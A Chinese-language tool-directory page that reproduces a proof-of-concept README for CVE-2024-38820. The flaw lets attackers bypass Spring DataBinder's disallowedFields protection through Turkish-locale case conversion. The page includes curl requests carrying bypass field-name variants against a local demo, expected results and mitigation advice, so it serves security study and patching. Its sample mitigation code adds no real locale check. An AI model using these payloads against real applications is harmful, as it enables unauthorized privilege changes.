Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
POC-CVE-2024-38820 — 针对CVE-2024-38820的概念验证漏洞利用,演示Spring Framework DataBinder的disallowedFields保护因区域设置相关的案例转换而被绕过,包含自动化测试和缓解指南。 | Kitploit
工具/GitHubGitHub/kadamnayan/poc-cve-2024-38820
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubkadamnayan/poc-cve-2024-38820

POC-CVE-2024-38820

针对CVE-2024-38820的概念验证漏洞利用,演示Spring Framework DataBinder的disallowedFields保护因区域设置相关的案例转换而被绕过,包含自动化测试和缓解指南。

查看仓库
111个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-38820 概念验证

概述

本项目演示了 CVE-2024-38820,这是 Spring Framework DataBinder 中的一个漏洞,由于与区域设置相关的字符大小写转换问题,允许绕过 disallowedFields 保护。

漏洞详情

  • CVE 编号:CVE-2024-38820
  • 受影响组件:Spring Framework DataBinder
  • 根本原因:String.toLowerCase() 的行为因区域设置而异
  • 影响:字段保护绕过,可能造成权限提升

问题所在

修复 CVE-2022-22968 时,通过使用 String.toLowerCase() 使 disallowedFields 模式不区分大小写。但是,此方法存在与区域设置相关的例外:

  • 在 土耳其区域设置 中:"ADMINID".toLowerCase() 会变成 "adminıd"(包含不带点的 ı)
  • 在 英语区域设置 中:"ADMINID".toLowerCase() 会变成 "adminid"

这种差异可能允许攻击者通过使用特定的大小写变体来绕过字段保护。

项目结构

root@kitploit:~
src/
├── main/java/com/example/demo/
│   ├── DemoApplication.java          # Spring Boot main class
│   ├── controller/UserController.java # Vulnerable controller with @InitBinder
│   └── model/UserInfo.java           # Model with protected adminId field
└── resources/application.properties   # Locale configuration

test-cve-2024-38820.sh                # Automated test script
pom.xml                               # Maven dependencies (Spring 5.3.39 - vulnerable)

快速开始

1. 构建并运行

root@kitploit:~
# Build the project
mvn clean compile

# Run the application
mvn spring-boot:run

应用程序将启动于 http://localhost:8081

2. 手动测试

访问测试端点以查看区域设置信息:

root@kitploit:~
http://localhost:8081/test

尝试不同的字段名变体:

root@kitploit:~
# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"

# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"

# Mixed case (may bypass)  
curl "http://localhost:8081/user?username=test&AdminId=999"

# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"

3. 自动化测试

运行综合测试脚本:

root@kitploit:~
./test-cve-2024-38820.sh

预期结果

使用土耳其区域设置(tr_TR)

  • ✅ adminId=999 → 已阻止(正常大小写)
  • 🚨 ADMINID=999 → 已绕过(大写)
  • 🚨 AdminId=999 → 已绕过(混合大小写)
  • 🚨 ADMİNID=999 → 已绕过(土耳其语 İ)

使用英语区域设置(en_US)

  • ✅ adminId=999 → 已阻止(正常大小写)
  • ✅ ADMINID=999 → 已阻止(受保护)
  • ✅ AdminId=999 → 已阻止(受保护)

配置

更改区域设置

编辑 src/main/resources/application.properties:

root@kitploit:~
# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR

# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US

设置 JVM 区域设置

您还可以设置 JVM 默认区域设置:

root@kitploit:~
mvn spring-boot:run -Duser.language=tr -Duser.country=TR

漏洞分析

代码流程

  1. 请求处理:Spring 接收带有参数的 HTTP 请求
  2. DataBinder 设置:@InitBinder 配置 disallowedFields("adminId")
  3. 字段匹配:Spring 使用 toLowerCase() 进行不区分大小写的匹配
  4. 区域设置问题:在土耳其区域设置中,"ADMINID".toLowerCase() ≠ "adminid"
  5. 绕过:字段保护失败,adminId 被设置

调试输出

应用程序会记录详细信息:

root@kitploit:~
=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'

受影响的版本

  • Spring Framework:5.3.x(5.3.40 之前)、6.0.x(6.0.24 之前)、6.1.x(6.1.13 之前)
  • Spring Boot:使用受影响 Spring Framework 版本的 2.x 和 3.x 版本

缓解措施

1. 升级 Spring Framework

  • Spring Framework 5.3.40+
  • Spring Framework 6.0.24+
  • Spring Framework 6.1.13+

2. 显式设置区域设置

使用区域设置感知的字段匹配:

root@kitploit:~
@InitBinder
public void initBinder(WebDataBinder dataBinder) {
    // Use English locale explicitly
    dataBinder.setDisallowedFields("adminId");
    // Additional protection: check field names with specific locale
}

3. 自定义字段验证

实现不依赖区域设置相关操作的自定义字段验证。

参考

  • CVE-2024-38820 - NVD
  • Spring Framework 安全公告
  • 相关 CVE-2022-22968

法律声明

本概念验证仅供教育和安全研究目的使用。请负责任地使用,并且仅在你拥有或获得明确测试许可的系统上使用。

下载工具